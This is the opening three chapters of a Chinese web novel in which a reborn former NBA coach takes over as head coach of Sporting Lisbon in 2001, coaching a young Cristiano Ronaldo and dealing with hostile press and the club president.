《【足球】以教练之名》 1. 给我个进球 阿尔瓦拉德球场内，一线队的球员正在进行体能训练，身着墨绿色球衣，排列成两排慢跑，像是笔直的白杨树，动作整齐划一。 不远处的树荫下，一个身材高大的男人正站在那里，眼睛紧紧注视远方，深褐色的头发微微卷曲，额前散落着几缕，随风摇动。 没人知道他在走神。 两个月前，结束一天疲惫的工作，霍峰回到洛杉矶的顶层公寓，难得睡了个好觉，再一睁眼，竟穿越到二十年前，成了一只葡萄牙足球队的助理教练。 陌生的地方、陌生的身体、陌生的语言和工作，没有任何告知，生活迎来了翻天覆地的变化。 好在他有颗大心脏，意识到现实无法改变，迅速调节心态，结合原主遗留的记忆和笔记本，慢慢适应新的工作和生活，勉强站稳了脚跟。 只是还没等他整理好思绪，决定下一步该怎么做，生活又给了他当头一棒。 球队主教练在赛前和主席吵起来，直接引咎辞职，他被迫担任临时教练，指导葡萄牙的最高足球赛事——葡超联赛。 时间紧迫容不得多想，他本能的动起来，从赛前更衣室训话到比赛后总结球场表现夸奖批评......一套动作行云流水。 想到这里，安东尼.斯图亚特不禁扶额叹息。 怎么就犯职业病了呢？！! 上辈子，安东尼是nba职业篮球手，但因为黄种人的身体限制，成绩并不突出，在确认自己加倍努力仍然无法成为顶级nba球员后，安东尼果断退役，在大学读了商科和管理学，毕业后在华尔街工作几年，兜兜转转回归nba，从助理教练一步步攀到洛杉矶湖人队教练的位置。 但这不代表他想当两辈子教练！ 一直不辞职，是因为原主的执念太深。 安东尼·斯图亚特，英意混血，长相英俊，身高一米九，古罗马雕塑一样美好的脸蛋和身材，放在时尚界也是极品存在，但他本人并不喜欢这些，志向明确——成为顶尖的足球教练。 为此，他考入利物浦大学的体育学，毕业后在利物浦球队打杂两年，怀着一腔雄心壮志，接下了这个葡超豪门俱乐部——里斯本竞技的助理教练邀约。 要是原主还在，怕是很高兴这份工作有了新的突破吧。 安东尼深深看了眼那堆绿油油小白菜的背影，过了一会儿，收回视线。 浓密卷翘的睫毛在眼眶下打出一片深深的阴影，让人看不清他的眼底，几股浓郁的情绪不断翻滚。 半响，他抬起头，眼底一片清明。 ......既来之则安之吧。 安东尼做出决断，在心里把“辞职”这个待办事项划上一道黑线，添上新的计划——带领球队打完本赛季。 这个赛季，里斯本要参加葡萄牙超级联赛和葡萄牙杯两项赛事，含金量最高的就是昨天在他指导下踢的联赛。 葡超总共有三十四轮比赛，平均每周一场，从八月初一直比到次年五月初结束，比赛是双循环制度，每两个队伍主场和客场各比一次，以两次得分分数总和决定胜负，胜者三分，平局各一分、负者零分。 昨天是本赛季联赛第九轮，里斯本竞技以主场1：0，客场1：1，总共2：1的成绩，领先一球战胜了对手。 九场比赛四胜三平两负，总积分8分，目前位列总分第二，比总分第一的波尔图少了3分。 这个成绩并不差，里斯本竞技是葡超的第三豪门，老大哥是常常在欧冠出成绩的波尔图，二哥是联赛夺冠次数较多的菲尔卡，三个球队成绩一骑绝尘，轮坐联赛冠军之位，只是去年出现了意外。博阿维斯塔化身黑马，夺下联赛冠军的位置，也让今年的联赛多了些悬念，观众投入了更多的关注。 葡超不属于五大联赛，实力在欧洲只能算中游，安东尼过去也看足球，但看的都是西意德法英这些国家中的顶级球队比赛，对葡超没有太多了解，好在原主的足球知识深厚，让他不至于两眼一抹黑，连葡超的球队都认不全。 “斯图亚特。” 身前忽然响起一道声音，打断了安东尼的思绪，他掀起眼皮看了过去。 矮胖的西装男踩着陈旧的牛津皮鞋朝他走来，圆鼓的肚子一颤一颤。 “主席。” 安东尼轻轻点头，算是打了个招呼，态度不冷不热，可这丝毫不影响男人的热情。 男人哈哈大笑，伸出手臂揽住他的肩膀，一抬手却没够到，脸色微变，改为轻拍他的胳膊。 “嘿，你才二十四岁，拿出些年轻人的朝气，别天天像个古板的德国佬，”男人笑了笑，朝他暧昧眨眼，“昨天在球场上你可比现在热情多了。” 安东尼不觉得自己昨天的表现能用“热情”形容，教练是球队的精神支柱，一个教练一味的温和软弱或是脾气暴躁，这种表现都是无法掌控更衣室的信号，想要让球员信服，那就得拿出自信和魄力来。 做助理教练时，一是因为安东尼刚刚穿越，心情不佳，二是他还在权衡是否要辞职，所以表现的沉默冷淡了些，反差太大了，这才吓了所有人一跳。 昨天上半场比赛0：0后，在更衣室里他言辞犀利将球员们训斥了一番，半是鼓励半是施压的要求所有人拿出好状态，这才勉强让骤然失去教练的球员们打起精神，没有自乱阵脚。 但代价就是球员们在赛后怔愣的看着他，不敢上前和他庆祝，一副被吹风机吹傻了的模样。 “大概这就是需要承担责任和不需要承担责任的差别吧。” 不知道想到什么，青年勾了勾唇，冰蓝色的眼底荡漾着似有若无的笑意。 主席先是一愣，细细思索了他的话后，笑容更深了，“我果然没看错，从收到你的应聘简历时，我就知道你是个热爱足球并且有足够魄力去带领球队的人。” 一个在简历里说从六岁就立志永远留在足球场的年轻人，表现的再淡漠，也难掩骨子里的热血沸腾，瞧瞧，一场突然换帅的联赛不就把他隐藏的热情勾出来了吗？ 面对男人的夸奖，安东尼不置可否，脸上始终挂着恰到好处的礼貌浅笑。 “昨天你临场指挥效果非常好，”结束了寒暄，男人将话拐到正事上，“劳伦佐怕是不会回来了，当然，能一气之下将球队扔在更衣室里，根本不顾一个小时后还有比赛的家伙，就算想回来我也不会用，冲动的没责任的混蛋！” 男人气愤的骂了两句，流畅的葡语像是烫嘴一般，噼里啪啦喷射出来。 安东尼的葡语水平有限，并没听懂他加速后的话语，但已经对他今天找来的目的，猜测的八九不离十。 没一会儿，矮胖的男人平复了心情，说明来意。 “这只球队就交到你手里了。” 男人笑容满面，语气却不容拒绝，“我知道这有些突然，我们里斯本竞技毕竟是葡超豪门，用一个刚毕业的年轻人做教练是前所未有的，换而言之，这就是不该存在的工作机会。‘’ 主席向他阐述了一系列俱乐部的荣耀，话锋一转，给了个甜枣，“但我相信我的眼光不会出错，你昨天反应的很及时，这种敢于抓住机会，向上拼搏的激情正是我需要的。” 放在昨天比完赛，安东尼听见这番话还能信个三分，偏偏是在一天之后。 这位主席先生怕是打了好几通电话都没有找到合适的教练，没有其他办法，退而求其次最终选择了他。 好在安东尼并不在意他的想法，要是有人能接手这个球队那最好不过，既然没有人接手，可见天意是让他来当这个教练的。 全当是实现原主最后的心愿了。 安东尼接下了这个任务。 “虽然是临时的主教练，你也要好好表现啊，记得多进几个精彩的球，我可不想让你很快下课，这对年轻人来说太残酷了。” 主席笑眯眯的，话里半是鼓励半是威胁。 安东尼不是真的二十四岁，并没将他的话语放在心里，点点头，语气平静，带着让人安心的力量。 “请放心，我会全力以赴。” 哪怕他不热爱足球，争夺第一的野心不会变。 这也是他明明可以借着搞砸了的名头离开足球场，却还是选择带着球队拿下昨天的胜利的原因，不管是在哪个行业，他都只会向赢而生。 一阵风忽然吹过，安东尼垂下眼睫，冰蓝色的眼眸闪过一丝锐利的锋芒。 “很好。” 主席打量着面前这个年轻帅气的高大青年，越看越满意。 这样一个充满争议的教练放在赛场上，还用愁比赛热度不高、球票不好卖吗？ “要是有任何困难随时来我的办公室找我。” 留下一句保证，男人和跑近的球员们打了个招呼，引来一串清脆的回应声，迈着八字步，开开心心的离开了。 “....斯特亚特先生，额不对，”二十七岁的队长咬了下舌尖，改口道：“教练。” “迭戈，”安东尼没有让他改回原来的称呼，他看向对方身后的球员们，目光在最后一排定了一会儿， 很快收回视线，朝他点点头，“继续训练吧。” 安东尼转身离开，长腿迈着从容的步伐渐渐远去，球员盯着他的背影窃窃私语声。 “斯图亚特真变成我们的主教练了？这真是太不可思议了，他根本没比我们大几岁吧？” “他太神秘了，根本不说自己的事，不过看起来最多二十五岁！” “我听主席打电话说斯图亚特之前根本没有独立执教过球队，甚至连助理教练都没做过！” “嘶——” 不少人倒吸一口凉气。 这样一个年轻且没有经验的教练来执教，那他们这个赛季的成绩还能好吗？ 一时间队内议论纷纷。 “别多想了，”队长迭戈打断了大家的讨论，“斯图亚特先生从不发火，不代表做了教练也会这样，昨天的事难道都忘了？给我好好训练！” 提起昨天，所有人脑中立刻浮现出一张冰冷的脸，还有那张不饶人的嘴巴，一时间大家都心有余悸，闭上嘴，向前跑去。 唯有一个身影没有加速跟上。 “....罗纳尔多，你有什么问题吗？” 坠在队伍最后面的一个小孩闻言抬起头，黑色卷毛在风中轻颤，似乎担心自己走神被骂，蜜棕色眼睛吓得瞪了起来，看上去圆溜溜的。 他赶紧摇摇头，“我没有问题。” “那就跟上。” 迭戈从上到下扫视了他一遍，小腿肌肉少的可怜，身高也平平无奇，实在看不出哪一点值得教练关注。 克里斯见多了这种夹杂着探究和怀疑的视线，他深吸一口气，高高昂着头，不让自己露出半分怯意。 倒是有些骨气。 迭戈收回视线，加速跑回前方。 安东尼.斯图亚特。 克里斯蒂亚诺在心里默念了一遍这个名字，心脏仍然会因为兴奋而悸动，昨天的一切简直像梦一样。 联赛第九轮，他作为替补坐在场边，球场里球员焦灼对战，己方的前锋突然射偏足球，观众席爆发着巨大的叫骂嘘声，而那个男人却没有露出任何情绪，一身缎面的碳灰色西装，始终站在观战的白线边缘，背影笔直挺拔。 82分钟，多莱特带球突破，眼看身形快速逼近对手球门，抬脚准备射门，对方后卫忽然飞身过来，一脚铲飞了球，同时也铲到了多来特的小腿，倒在地上不停打滚。 裁判罚了个点球！ 克里斯蒂亚诺激动地从椅子上蹦了起来。 忽然间，男人转过来，冰蓝色的眼眸锁在他的身上，令他呼吸一滞。 “克里斯蒂亚诺.罗纳尔多？” 男人叫了他的名字！ 克里斯蒂亚诺心脏顿时砰砰直跳，心中有种微妙的直觉，他下意识挺起胸膛，大声道：“我在，教练！” “以教练之名，我要你务必做成这件事，”男人走过来，俯身拍了拍他的后背，清爽的须后水味道扑面而来，“给我进一个球。” 他的语气平静，克里斯蒂亚诺却听出了一种不容置喙的强势。 “你能做到吗？”他问。 “我能！” 克里斯蒂亚诺不假思索，直接喊道。 男人的大手沉甸甸的压在他的肩膀，另一只手高举示意第四官员换人，和人交谈几句后，托着后背的手微微用力，将他推进绿茵场。 五个月前刚从U16队伍升入U17，又迅速从二线队进入一线队，克里斯蒂亚诺知道自己早晚会走入葡超联赛的赛场，只是没想到这一天会这么快。 绿荫草地上，一排人墙挡住了大门，三万多名球迷的目光投注在他的身上，喝倒彩和加油声夹杂在一起，爆发出巨大的声响。 这是千钧一发的时候，脚下这粒足球将决定能否逆转这场比赛的结局。 而他是打出这粒球的人！ 克里斯蒂亚诺深吸一口气，心头涌出万种情绪——喜悦、紧张、兴奋、压力......最终化成一股坚定的、灼灼燃烧的信念。 我要进球！ 一枚黑白相间的球以迅雷之势在空中划过一道弧线，擦过守门员的指尖，重重砸在白色网格中。 “啊——！！！球进了！！” “哔哔——” 葡超01-02赛季，第九轮，里斯本竞技对阵圣克拉拉，主场分数：1：0。 比赛第83分钟，十六岁的小将——克里斯蒂亚诺.罗纳尔多，以一粒高速点球，决杀比赛。 观众席持续欢声。 2. 进攻？不可能！ 一个教练怎么能保证球队胜利？ 安东尼的经验告诉他，夯实的战术基础是必不可少的，了解球队的球员特点，依照自身优势和对手劣势进行针对性训练，赛前稳住球员心态，赛中根据情况灵活调整，赛后梳理总结.......只有完成以上所有，才能叫做合格的教练。 但如果比赛就在五天后呢？ 安东尼当机立断砍去更改战术的想法，将“稳定心态”放在了第一位。 于是一线队的发现，自从安东尼升级为教练后，他们的训练内容没有太多变化，男人和往常一样伫立在绿茵场边，衬衫袖口翻折了两圈，露出一截结实的小臂，交叉环抱于胸前，安静的像是古罗马雕塑。 只是当他们放松警惕想要偷懒时，那具雕塑立刻张开嘴，毫不留情的点名罚训。 “乔安，等会儿由你先开始玩游戏。” 此话一出，所有人都笑出了声。 玩游戏？说的没错，控球抢圈也是个游戏。 想到自己站在圈里被大家戏耍抢球的狼狈画面，乔安的脸立刻红了，他赶紧加快冲刺速度，试图身体力行证明自己没有偷懒，让教练减轻对他的惩罚。 显然已经说出口的惩罚不会被撤回，乔安等了半天最终死心了，安慰自己，至少教练的视线不会再持续盯在他身上。 要知道那滋味简直糟糕透了，像是被寒冰笼罩，冻得他后颈发酸。 乔安在心里吐槽，并没有留意到教练的视线滑向了他的身后，并牢牢地凝在了少年身上。 一线队正在训练的项目是短距离冲刺跑，六人一组，每组跑的最慢的那个要重新再来一次，最后一组本该只有三个吊车尾重跑，此刻却多了一个。 清瘦的少年顶着一头乱糟糟的黑色卷毛，俯身下屈，做好起跑准备，阳光洒在他小麦色的脸上，晒出淡淡的红，他的眼睛一眨不眨，神色坚毅，盯着前方标志盘，像是瞄准猎物一般决绝。 三秒后，安东尼收回视线，吹响哨子。 “哔——” 哨声划破天际，四人向前飞奔。 练习一直持续到下午四点半，安东尼先是点了一些人名，告诉他们肌肉发力的问题，又给几个体力不佳的球员布置了明日耐力跑的任务，集体做了会儿拉伸，就解散了队伍。 等大家都走光了，安东尼叫住了抬脚勾球，再次走入训练场的少年。 “克里斯蒂亚诺。” 少年回头和他四目相对，眸中闪过一丝疑惑。 虽然还很青涩，安东尼还是能在这张脸上看出未来足坛巨星的影子，真实中透着一丝荒谬。 安东尼抿了抿唇，下达指令：“今天开始不许晚上加练了。” 克里斯整个人宛如晴天霹雳。 “为什么？”他下意识问道。 等想起来这个人是自己的教练后，克里斯蒂亚诺才反应过来，他的声音太大了，传递出的态度非常糟糕。 他咬住嘴唇，想要道歉，可想到教练的要求可能会断送他这个赛季的首发希望，再次挺起脖子，倔强道：“我已经习惯了加练，我身体很强，不会受伤。” 安东尼定定地看着他，忽然上前一步，蹲下身，克里斯蒂亚诺反应很快，立刻后退，但对方的速度实在是太快，大手像是个铁钳，精准的捏住了他的小腿，轻轻一按。 “嘶——” 少年疼的厉害，下垂的眼尾直接挑了起来，表情瞬间扭曲。 “你的肌肉紧张度太高，”安东尼没有松手，甚至更使劲的捏了捏，“最近晚上回去都在抽筋吧？” 虽然是疑问句，语气却是肯定的。 克里斯蒂亚诺不擅长说谎，他卡顿了一秒，诚实的点了点头，不过还是为自己辩解了一句：“大家都说这是生长痛，每个人生长期晚上都会抽筋，不只是我。” 安东尼的运动生理学知识比他丰富的多，自然知道什么是生长痛——少年的身体迅速发育，会出现膝盖疼痛、小腿抽筋等症状，但克里斯蒂亚诺的情况不只是这样，他身体很瘦，肌肉却这么紧致，足以见得平日摄入的营养不够运动消耗所需，高强度的训练才是他频繁抽筋的元凶！ 要是长时间这样下去，慢性损伤、炎症是避免不了的，运动生涯不会长久。 安东尼下了结论，抬起头，对上少年倔强的目光，原本想告诫的话咽了回去。 一个踢球的小孩，拼尽全力训练自己难道有错吗？ 现在是2001年，体育保健的概念还没有兴起，球员通过消耗自己的身体突破生理极限，在这个年代，踢到三十岁才退役已经是令人称赞的老将了，球员的巅峰期也就是五年左右，所以趁年轻不惜代价的向上突破才是出路。 自己站在后世的角度来劝克里斯蒂亚诺不要过度锻炼，简直是站着说话不腰疼。 怎么就昏了头说出这种话呢？ 安东尼暗恼自己的冲动，径直松开手，站起来拍了拍膝盖，随着他的动作，反光的羊绒西裤沾染的草屑簌簌掉落。 “sorry，”他直起身，延续了英国人的小习惯，道歉当做起始语，“就当我没说过。” “如果可以，多摄入些牛奶和蔬菜吧。” 说完，他朝着少年轻轻点头，转身离去，动作从容流畅。 “......教练？” 克里斯蒂亚诺天性敏感，他能感觉到教练的心情似乎发生了某种变化，但却不知道对方心情变化的原因。 是觉得他不够听话吗？ 少年心里揣着满满的不安，呆愣的站在原地，看着那道高大的背影越走越远。 * 炉子上的铁盘滋滋作响，窝在沙发里的安东尼起身，将一锅海鲜炖菜放在茶几上，面前电视机还在播放上一场比赛的录像带。 安东尼提笔随意画了几条线，将一张白纸分为八个区域，十一个白色和黑色的小圈出现在其中一个区域，随着比赛进行，他的笔不时在纸上跳跃，直到每个区域都填满小圈，换了张新纸。 这是安东尼上辈子就有的习惯，将比赛中有问题的场景画出来，一场下来，己方战术、球员跑位、防守攻击节奏，全都一目了然。 看完了这个赛季所有比赛，安东尼怀里多了一沓纸，他垂头翻看，动作越来越快，眉头也越皱越紧。 之前他是助理教练，主要工作是带领球员训练，帮主教练整理资料这些，他知道主教练制定的战术，但没有仔细研究过。 按理说这个赛季的成绩不差，球队问题不该很多，安东尼研究到最后，不得出一个结论：糟糕透顶了。 尤其是战术，非常落后。 九十年代，越位规则改制，人们舍弃了容易造成反越位的“清道夫”阵型，改为使用四四二，这个阵型使球员能能很好的覆盖边路和中路，快速回防的特点，大大增加后场防守能力。 等到世界杯前四名都用这个战术胜利后，四四二阵型名声大噪，成了许多教练尤其是英格兰教练的心头好，劳伦佐给里斯本竞技选择的也是这种打法。 在保证后场不失分的情况下，前锋再将球轰进对方球门，那胜利就会属于我们，这就是这个战术的核心。 可注重防守，轻视进攻的战术，会导致前锋拿不到球权无法射门，踢起来不会好看，估计球迷也是这么认为的。 联想主席说的话，安东尼对两人不欢而散的原因有了猜测，不过猜测还需证据证实才行。 既然打算接手这个球队，安东尼的目标就是冠军，而得到冠军的前提是他要执教整个赛季，这就必须要依仗主席的全力支持。 想到此处，安东尼当机立断起身，顺手扯来衣架上的西装外套穿在身上，推门而出。 他要去找劳伦佐聊聊。 * 安东尼下了公交车 ，走进阿尔瓦拉德区，穿过狭窄的小巷，婉拒道路两旁热情招客的酒吧老板，在一处两层高的白色独栋房子面前停下脚步。 穿越到这个世界，劳伦佐是安东尼接触最多的人，一个蓄着浓密胡子的西班牙老头，脾气也符合拉丁人的特点，热情四溢、敢爱敢恨，才能做出一气之下直接辞职的举动。 对方下课的第二天，安东尼给他打过电话，没接通，如今又过去了一天，也不知道是否已经从情绪中缓和过来。 安东尼单手抱着一只葡萄酒，敲了敲门，吱声过后，门缝倏的一下拉开，露出门后不修边幅的老头，还没等他开口，老头立刻抽走了他怀里的酒瓶，动作之快让他来不及后退。 看来喜欢酒这件事还是没变。 安东尼失笑，耸了耸肩，自顾自走进房子。 “十年的葡萄酒，还是你喜欢的那家。” 他一边打量着周围，一边说道，目光掠过客厅，眼皮一跳。 黄色沙发上堆满了衣服，茶几上散落的白盘子带着食物残渣，地上随处乱扔的垫子、揉成球的废纸、蓝玻璃瓶里枯萎的花，昭示着家主的随性慵懒。 安东尼钉在原地，站姿笔直。 从厨房走出来的老头咬开酒瓶木塞往酒杯倒酒，见状乐了一下，“嘿，你这个洁癖小鬼，真男人就该这么生活才对！” “是的，凯瑟琳看见这一幕应该也会很开心。”安东尼淡定道。 凯瑟琳是老头的女儿，母亲过世后，她一直和父亲生活在一起，对他的邋遢非常不满，每次出差前都会耳提面命让他收拾房子。 提起自己的女儿，劳伦佐咳嗽了一声，表情心虚极了。 安东尼很少喝酒，劳伦佐给他递了杯水，男人顺势接过玻璃杯，握在手心，他微微抬脚，穿着亮面皮鞋的脚尖在古旧的木地板上轻磕了两下。 沉闷的声响换来了劳伦佐的注意。 “说吧，来找我什么事？”老头抿了口酒，语气慵懒，“今天买了这么贵的酒，不会是觉得占了我的位置心里有亏吧？” 安东尼花钱大方，但像今天这样花费数千英镑买酒，还从没有过。 “那你会怪我吗？” 安东尼勾唇反问。 “怪你？”老头嗤笑一声，大方道：“让你接了个烫手山芋，我不愧疚就不错了。” 手里的酒一饮而尽，劳伦佐扔下杯子，语气严肃起来，“说真的安东尼，你还是早点离开这里回英国吧，不然早晚也会被他轰下台。” 这个他指的是谁，两个人都心知肚明。 安东尼不喜欢绕弯，直接问道：“你和主席为什么吵起来？” “呵，”劳伦佐翻了个白眼，“那个男人简直不可理喻，他竟然要我在赢得比赛的同时还要打得漂亮，让前锋更猛烈地冲刺和射门。” “这怎么可能呢？”他高声呐喊，“想要赢球就必须要防守，我在打联赛又不是表演赛，难道要把后卫都赶去前场，像猴子一样疯狂追逐足球吗？” 挥舞双手的样子，看起来怨气十足。 安东尼平静道：“不能在保持防守的基础上，加强进攻吗？” “根本不可能！” 老头言之凿凿分析道：“球场上两条横向的防守线是我们能避免对手进球的重心，这两条线离球门越远，防守的风险就越高，这种情况下我们想加强进攻，只能尽量避开中场，把球传递给前锋。” “要是我们的后卫能力强的话，自然会打出漂亮的长传，给前锋创造机会，可惜我们不是！” 劳伦佐说来有些可惜。 里斯本竞技一线队的四个后卫里，根本没有擅长长传的家伙，他只能让人短传，这就导致球在中场不断轮回，前锋没有太多持球的机会。 “想要漂亮足球进攻，还是等下个赛季掏钱买两个擅长长传的后卫吧。” 劳伦佐总结道。 3. 绝对的权利 两人聊了一会儿足球，晚上八点半，安东尼离开了劳伦佐家。 对于劳伦佐说的“买长传后卫才能换来进攻足球”的结论，安东尼并没有发表看法，但心里还是持有不同意见的。 球员不够优秀就不能赢得比赛？这和直接说教练没用有什么区别。 安东尼偏要证明，合适的战术比技术出色球星更能主宰比赛！ 回到宿舍后，安东尼立刻埋头于桌案推演新的战术，昏黄灯光刺穿了深夜里斯本街头的一扇窗，直到天亮才熄灭。 第二天一早，安东尼做了三明治搭配意式浓缩，在窗边享受完早餐后，走进浴室洗了个冷水澡，出门时浑身冒着清爽凉意。 安东尼住在阿尔瓦拉德街一处四楼的单身公寓，离俱乐部球场很近，走路只需要十几分钟，天气好的时候他都会步行上班，今天也不例外，只是还没走到俱乐部大门，吵吵嚷嚷的叫骂声让他吓了一跳。 和所有欧洲国家一样，葡萄牙人对足球充满热情，训练基地门口经常有球迷聚集，扯条幅为球员呐喊加油，但今天聚集在这儿的球迷格外愤怒，不像是来加油的，倒像是在示威。 他脚步一顿，心中有了猜测。 这两天他忙于思考如何领导球队，没有时间查看网络媒体消息，葡萄牙的报纸他看不懂自然也不买，所以并不知道，在他彻夜思考战术时，里斯本竞技官网昨天一早将他的照片放在主教练那一栏，这件事被刊登在葡萄牙最具影响力的几家报纸上，舆论瞬间爆炸。 休息时间结束，示威的人拿起大喇叭，重振旗鼓。 “英国小子，赶紧下课！” “乳臭未干的小鬼，回家吃奶吧！” “我们不要花瓶，滚出葡超！” 骂声犀利连绵，安东尼没有挨骂的癖好，收回打量的视线，目光不偏不倚，脚下步伐加快。 俱乐部球员上班时间是十点，安东尼来的早，时钟堪堪指向八点，门前示威的队伍还没组织好，几十人拉扯整理抗议条幅，各自忙忙碌碌，因此没人注意就在不远处，一个西装革履的高大男人悄然走进了俱乐部小门，步履从容淡定。 和门卫打了个招呼，隔着一排树木，安东尼看见了一辆熟悉的白色奔驰轿车，停在主席的车位上。 来的这么早，是早就料到俱乐部前会有人抗议吗？ 安东尼收回视线，笑着问：“今天的报纸骂我骂的很凶吧？” 见他心情还不错，门卫也笑了笑，一脸嘲讽道：“媒体就是喜欢夸张，尤其是涉及到球队的消息，这些人就和闻见鱼腥味的猫儿一样，生怕扑慢了，咬不到一口金钱味的肥肉。” “谁让他们是无冕之王呢，”安东尼平静回答，状似不经意道，“《纪录报》今天的体育板块怎么说？” 门卫有些记不清了，低头胡乱翻了下桌子上一沓报纸，沙沙作响，很快找到了《纪录报》，戴上老花镜对着体育板块一字一句读起来。 “在这个浮华的时代，俱乐部选择教练越来越低龄化，笔者本以为老牌豪门——本菲卡选择了38岁初出茅庐的穆里尼奥做教练已经足够疯狂，没想到里斯本竞技更加过分！” “这个最依赖经验和头脑的职位，迎来了史上最年轻的菜鸟教练——一个二十四岁的孩子！” “Fod‘ssake！我多希望这是一场恶作剧，但显然里斯本竞技这次是认真的，他们真的相信这个菜鸟有能力掌管庞大且复杂的更衣室！笔者很好奇，这个长相帅气的菜鸟，难道是魅魔的化身吗？不然很难解释他为什么能蛊惑人心，让里斯本的主席和董事失去理智，做出这个灾难般的决定。” “穆里尼奥是在执教的第九场辞职离开本菲卡的，按照年龄比例......总之！让我们一起期待这个菜鸟什么时候下课吧！” “笔者已经迫不及待想看魅魔哭着离开球场了。” 读完这段《纪录报》的发言，门卫不禁咋舌，又是魅魔又是下课，还哭着离开球场，说的实在是太伤自尊了。 连他听到这样的嘲讽心中都涌起无限愤怒，恨不得一脚把球踹到编辑这则小报的记者脸上，更何况是被辱骂的当事人呢。 但出乎意料的是，安东尼并没有表现出任何情绪。 他的嘴角依旧保持着似有若无的弧度，浓密锋利的眉毛下，湖水般淡蓝色的眼眸蒙上了一层灰雾，让人猜不透他的心思。 门卫心里打鼓，怕伤到他的心情，嚷嚷道：“这群媒体就会瞎写，前几天球队赢了比赛，《球报》还说克里斯是个眼高于顶的傲慢小鬼，因为瞧不起小球队所以比赛全程冷脸，这简直是最无耻的诋毁！” “哦？” 安东尼眯了下眼。 “您千万不要误会他，”门卫飞快解释道，“克里斯是个再好不过的孩子了，每次他在球场练习到很晚，回宿舍前都会主动帮我检查俱乐部大楼和球场的情况，他很勤劳也很善良。” “请放心，我更喜欢用自己的眼睛去认识他，而不是听些流言蜚语。” 安东尼承诺道。 “那就好。” 门卫松了口气，拿起水杯咕嘟咕嘟的大口喝起来，读了一长篇的报纸，他的喉咙都干涩了。 “多谢您的朗读，发音很标准。” 安东尼垂下眼睫，沉思了一会儿，朝门卫点头道谢。 炭灰色的定制西装贴合着男人的肩膀，剪裁一丝不苟，似乎有些热，男人忽然抬手，指尖在领口最上方松开一颗纽扣，露出白皙的皮肤和一小截喉结的轮廓，随后朝他礼貌的笑了下，转身朝俱乐部走去。 门卫愣了一会儿，直到举水杯的胳膊发酸颤抖，这才回过神，看着远去的背影，心里充满感慨。 斯图亚特先生的执教能力怎么样他不知道，但媒体有一句话说的很对，他真的太火辣了，一举一动明明很绅士守礼，做起来却总是有种禁欲诱惑的味道..... 简直和勾人的魅魔一模一样！ * “魅魔”安东尼此刻正在俱乐部三楼，直到看见一扇棕色大门，门上挂着鎏金的门牌，书写着“主席办公室”几个字，他停下脚步，抬手敲门。 克制而有节奏的三声后，门内传来沉闷的男声。 “进来。” 安东尼推门，一双黑色鞋底压着红木宽桌轻轻摇摆，鞋子的主人窝在沙发椅里，肥硕身体动也不动，朝他掀了掀眼皮，脸上瞬间挤出灿烂微笑。 “早啊我的朋友，找我有什么事吗？” 主席富瓦克的语气依旧热情，似乎想到了什么不开心的事，嘴角垮了下来，“是那些球迷惹怒了你吗？” “别太在意这些，我亲爱的教练，”富瓦克安慰道，“就算是俱乐部更换了球员们擦屁股的厕纸品牌这种小事，都会有球迷抗议，更何况是换主教练。” “球迷对俱乐部的决定不满，您难道不在意？”安东尼挑眉问。 “我有什么可在意的？” 富瓦克靠在椅背上，摊了摊手，“俱乐部的决定权属于主席和股东，这有什么不对吗？球迷会有不满很正常，可俱乐部的事不能因为他们不满就处处听球迷的。” “抗议俱乐部不过是一群无法掌控自己生活的人，宣泄压力的一种方式而已。” 他总结道，语气十分不屑。 安东尼想，比起某个未来巨星，或许他更适合被媒体评为“眼高于顶的傲慢家伙”。 “所以我的朋友你也忍一忍吧，”富瓦克说，“给他们些时间，一切都会过去的。” 富瓦克的神色很无奈，仿佛他才是这场舆论风波的最大受害者，而不是正站在门边，被媒体和球迷口诛笔伐的“争议魅魔”。 “我不在意，”安东尼轻笑了一下，“这不是您想见到的场面吗？” 此话一出，屋内瞬间安静了。 “.....你在说什 么？”富瓦克一脸无辜，“我怎么会想自己选择的主教练被人辱骂下台，这对我一点好处都没有。” 安东尼没说话。 他迈开脚，黑色亮面皮鞋在地板上发出清脆的踏响，直到鞋尖差一厘米贴上红木桌角，这才停下。 如此近的距离，两人脸上一切情绪变化都一览无余。 清凉的须后水在鼻尖扩散，察觉到体内血液加速奔腾，富瓦克维持着笑容，“我的朋友，你是听到什么消息了吗？” “《纪录报》。” 舌尖在口腔滚动，安东尼缓缓吐出这个名字。 富瓦克瞬间变了脸色，但很快又恢复原样。 “《纪录报》怎么了？”他问。 “今天上班之前，我恰好接通了一个电话，这通电话的主人给我普及了一下葡萄牙媒体的潜规则。” “原来葡萄牙媒体的三巨头发家并不简单，恰好也和葡萄牙三家豪门球队有丝丝缕缕的关系，历史最久远的《球报》偏爱本菲卡，专注于体育赛事的《竞赛报》总是夸赞波尔图......” 安东尼故意停顿了一瞬，锋利的眼睛凝视的盯着富瓦克的脸。 “你说如果球迷知道自己一直收看的消息，其实都是足球俱乐部在背后自导自演，把他们当成傻子一样，操控者他们的思想、情绪、一举一动。” “他们会怎么做呢？” 安东尼轻声问。 青年的嗓音低沉清澈十分好听，说话像是讲故事一般娓娓道来，很容易让人沉醉其中。 富瓦克却没有任何欣赏的想法。 他满脑子都是球迷知道真相后的场景，真到那个时候，舆论必然不会可控，这些年网络论坛的出现，大大冲击了传统纸媒的影响力，愤怒的球迷怕是会集体抵制这些媒体，最重要的是，球迷们会抵制观赛！ 换帅也好，买卖球员也好，这些行为最多是让球迷不爽，不会动摇俱乐部的根基，但操控媒体口风戏耍球迷性质就不一样了，球迷不会轻易原谅这件事的。 俱乐部门票收益暴跌，董事会还能不轰他下台吗？ 富瓦克的瞳孔猛地一缩，喉结滚动，咽了下口水。 见他意识到事情的严重性，安东尼向后退开，给两人留出舒适的空间。 笼罩他的黑影消失，屋内光线瞬间明亮，富瓦克赶紧垂下眼，沉默了一会儿，缓缓开口。 他问：“你想要什么？” “这个赛季，不管发生什么都不能干涉我的执教，也不能让我下课，”安东尼语气平静，“我要能支配球队的绝对权利。” 这个赛季已经进行到四分之一，不涉及到夏歇和冬歇的球队引援和卖人，给他绝对的权利对俱乐部的财政来说没有什么影响，这是个合适的条件。 富瓦克权衡好利弊，点点头，又赶紧补充道，“但不能让球队降级。” 他们一向是前三的葡超豪门，要是联赛成绩飞流直下，甚至到了保级的程度，他就是辞职逃去中国，也会被球迷挖出来杀死再反复鞭尸。 “不会。” 安东尼给他保证。 富瓦克松了口气，“你还要什么？” “不需要，”安东尼抬手理了理袖口，将外套上的褶皱一一抚平，慢条斯理道，“甚至我还能给你些东西。” “......什么？” 富瓦克没想到他会这么说，脑子一时转不过来，脱口而出。 “你要给我什么？” 